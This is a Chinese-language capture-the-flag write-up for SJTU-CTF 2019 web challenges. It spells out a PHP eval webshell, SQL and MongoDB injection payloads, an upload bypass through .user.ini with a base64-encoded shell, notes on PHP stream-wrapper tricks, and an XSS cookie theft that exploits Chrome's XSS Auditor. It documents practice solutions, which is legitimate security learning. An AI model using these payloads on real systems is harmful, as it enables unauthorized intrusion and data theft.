SJTU-CTF 2019 WriteUp Web
Preface
第一次正经参加的 CTF 比赛,全程面向 Google 做题,最后混了个不错的成绩,但还是被各路大佬吊打
抽空把当时没做出来的题也研究了一下,加上原有的 WriteUp,凑出 Web, Crypto 和 Misc&Reverse 三篇文章。为什么没有 Pwn ?因为根本无从下手(
因为有数据收集的习惯,所以把大部分题目源文件都整理了一下放在 GitHub 上了
Basic Web
100 pts, 91 solved
(真正的签到题)
- 网页文字无有用信息,查看网页源码,发现一行注释:
1 | <!-- You may try w3lc0me_t0_CTF.php --> |
- 访问
w3lc0me_t0_CTF.php
,得到如下信息:
0ops…
You are not admin. Are you are a hacker?
- 注意到 cookies 中有一条
admin=0
,将 0 改为 1,得到如下信息:
Hello, admin.
Can you POST flag=0ops to me?
- 根据提示发送 POST 请求,参数为
flag=0ops
,返回的网页源码如下:
1 |
|
由于直接获取了源码,网页没有跳转,得到 flag: 0ops{I_like_flag_WoW_Do_you}
,如果网页发生跳转则显示以下信息(常规套路):
Sorry, your flag was slipped away.
QwQ
Baby Web
250 pts, 19 solved
进入网页,内容为
Do you know about robots?
查看robots.txt
,发现Disallow: /admin_l0gin_page.php
admin_l0gin_page.php
是个登陆页面,看起来需要 SQL 注入,经过试探发现过滤了or, and, (space), %20
等关键词官方发布 Hint1: No brute force to attack, do you know SQL Injection? But there are some filters. (废话)
官方发布 Hint2: The author left a backup file and didn’t delete it.(that is _.bak, _ is just a php file which you want to know its source code) ,得知有一个备份文件可以下载,获取到
admin_l0gin_page.php.bak
admin_l0gin_page.php.bak
文件内容如下:
1 |
|
注:官方最后公布的过滤函数如下
1 | function filter($str) { |
%0a
字符绕过空格过滤,根据源码逻辑构造合适的 SQL 注入请求:
1 | username='%0aunion%0aselect%0a'abc&password=abc` |
最终生成的 SQL 语句为
1 | SELECT password FROM `user` WHERE username='admin'%0aunion%0aselect%0a'abc' |
返回的查询结果中包含 abc
这一字符串,因而成功通过验证,网页重定向至 admin_m4nage_page.php
注 1:
%0a
为 urlencode 后的编码,需要直接发起请求,不能直接通过表单提交
注 2:官方答案中的 SQL 注入请求为
username=1'union(select('123'))#
,同时使用括号作为分隔符并用#
注释了后续语句
admin_m4nage_page.php
:
设法利用上传漏洞,先编写 webshell: <?php eval($_GET['code']); ?>
,并保存为文件
- 尝试上传,发现要求 HTTP Header 文件类型为图片,且会探测文件名中是否含有
php
(不区分大小写),查找资料得知.phtml
扩展名可用
- Burp Suite 抓包更改文件名称上传文件:
- 利用 webshell 一路
ls ../
终于发现一个名为Th1s_1s_y0ur_flag_777777
的文件,cat 文件内容得到 flag:0ops{Sometimes_robots_can_h3lp_U}
- 顺便还拿到了
admin_m4nage_page.php
的源码:
1 |
|
Baby DB
250 pts, 13 solved
- 进入网页,直接给出了源码:
1 |
|
可见是 MongoDB
注入,注意要通过 json_decode
验证
- 现学现用,构造出 payload:
1 | username=u", "username": {"$ne": "aaa"}, "password": "&password=p", "password": {"$ne": "aaa"}, "$comment": " |
成功绕过验证,得到信息:
Good, can you find out my password?
说明 flag 应该在 password
中
- 构造 payload:
1 | username=u", "username": {"$ne": "aaa"}, "password": "&password=p", "password": {"$gte": "0ops{"}, "$comment": " |
对 password
进行 ASCII 盲注(可编写脚本实现),得到 flag: 0ops{mongoDB_1s_funny_@4f8ec02756a2b0c1a737bf2345}
,其中 $gte
为条件操作符,等同于 >=
,同理还有 $ne
, $gt
, $lt
, $eq
等等
官方答案:构造 POST 请求
1 | username=1&password=a", "password": {"$regex": "^0ops"}, "username": "admin |
最终构造的查询为
1 | { |
依靠正则匹配实现盲注,如果匹配成功则提示密码无误,否则提示密码错误
Upload Lab
250 pts, 10 solved
- 发现是一个上传文件的网页:
初步探测发现不能上传后缀含有 ‘ph’ 的文件 ,且文件内容中不能含有
<
和;
,上传路径下有一个index.php
文件得到 Hint1: Do you know what is config file? ,联想到
.htaccess
然而已经被屏蔽,查找资料得知 PHP 也有类似于php.ini
的配置文件.user.ini
,可放置于网站目录下仔细查看可配置选项,最终选定
auto_append_file
,即在每个文件末端追加内容构造
.user.ini
并上传:
1 | display_errors=true |
- 访问
上传目录/index.php
,发现文件内容已被自动追加在末尾,得到 flag:0ops{uPl0aD_lAb_1s_s0_eZ}
赛后才得知 /flag
是我碰巧蒙对了文件名,光荣地成为了一个非预期解;预期解法应该是先获取 webshell 然后寻找 flag 文件:
1 | display_errors=true |
将需要追加到 index.php
末尾的 PHP 代码(需要包含 <?php
)进行 base64 编码存储在 shell.txt
中,从而绕过了字符过滤,而 convert.base64-decode
将内容进行 base64 解码后还原为正常的 PHP 代码。
例如,<?php eval($_GET['code']); ?>
经过 base64 编码后写入 shell.txt
中:
1 | PD9waHAgZXZhbCgkX0dFVFsnY29kZSddKTsgPz4= |
访问 上传目录/index.php?code=echo
ls /;
即可看到根目录下的 flag
文件
注意:
.user.ini
中的双引号不可少,双引号包含的变量会被当作正常变量执行,而单引号包含的变量则会被当作字符串执行。
同时还能获得 upload.php
的源码:
1 |
|
可以看到对上传的文件限制了大小、不允许内容中出现 <
, ;
和空格,这样一来也避免了使用 <script language="php">
代替 <?php
的攻击方法。
PHP 伪协议
PHP 伪协议是预期解法中的重点,在此补充一些相关知识。
file://
用于访问本地文件系统,不受 php.ini
中 allow_url_fopen
和 allow_url_include
的限制
e.g.:
file://./shell.txt
或file://shell.txt
(默认为相对路径)file:///path/to/file.ext
(第三个斜杠表示绝对路径)
php://filter
用于数据流打开时的筛选过滤,同样不受以上两种配置项的限制
e.g.:
php://filter/read=convert.base64-decode/resource=./shell.txt
readfile("php://filter/resource=http://www.example.com");
php://filter/read=string.toupper|string.rot13/resource=http://www.example.com
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
read
还可改为 write
(写入到 resource
指定的文件中) 或省去(同时过滤读取/写入过程); convert.base64-encode
和 convert.base64-decode
是 base64 编码和解码的过滤器
php://input
php://input
是可以访问请求的原始数据的只读流,可读取到 POST 请求的原始数据,并将原始数据作为 PHP 代码执行,受 allow_url_include
限制。
注:enctype=”multipart/form-data” 时
php://input
无效
data://
数据流封装器,受 allow_url_include
限制
用法:data://资源类型[;编码],内容
e.g.:
1 |
|
zip://
zip 压缩流,可访问压缩文件中的文件,受 allow_url_fopen
限制
e.g.: zip://archive.zip#dir/file.txt
Ezxxe
150 pts, 24 solved
- 根据题目名称提示需要使用 XXE,从下载的源码中得知解析 xml 的地址为
/parse
,构造 POST payload:
1 |
|
- 得到返回结果
c38b07e91b0c15330e20693ed4443092
- 然而上面的字符串并不符合 flag 格式,思索许久猛然发现 如果 file:// 后的路径为目录,则返回的是目录文件列表。也就是说,flag 是个目录,上面的字符串不是文件内容而是文件名,果断更改路径为
file:///flag/c38b07e91b0c15330e20693ed4443092
,得到真实的 flag:0ops{0813bca99cf1210e176b125e5f1d3f1b}
Message Board
250 pts, 20 solved
An online message board service with some vulnerabilities. The admin is using Chrome 77 and flag is in cookies.
- 明显需要使用 XSS 攻击,代码长度有限制
- Report 给 admin 可以让 admin 浏览你的网页
- 对于如此坑爹的验证码,到网上寻找脚本,找到的 Python 脚本如下:
1 | # -*- coding: utf-8 -*- |
脚本的第一个参数为目标字串,第二个参数为字串起始位置,通过生成 10 位随机字符串进行碰撞
发现
view.php
的网页源码中有document.cookie = 'flag=';
,会清空 cookies寻找阻止这条语句运行的方法,无果
尝试用
XMLHttpRequest
获取view.php
的Response Header
,发现会被CORB
拦截尝试嵌入
iframe
,结果同上官方发布 Hint2: _ _ _ _ _ _ _ _ _ _ will be removed in Chrome 78, which can be your friend for now
注意到 admin 使用的是 Chrome 77,查找资料得知上述工具为
XSS Auditor
了解到
XSS Auditor
的特性:会将同时出现在 URL 和网页源码中的内容视为 XSS 脚本阻止其运行利用
XSS Auditor
的特性,在 URL 中增加参数s=<script>document.cookie = 'flag=';
,使XSS Auditor
能将其识别并屏蔽编写 XSS 脚本如下:
1 | <script> |
- 将带有额外参数的 URL 提交给 admin,成功在 XSS 平台获取到 flag:
0ops{trick_the_deprecated_auditor_931a3e6e10ac0b40}
References
SJTU-CTF 2019 WriteUp Web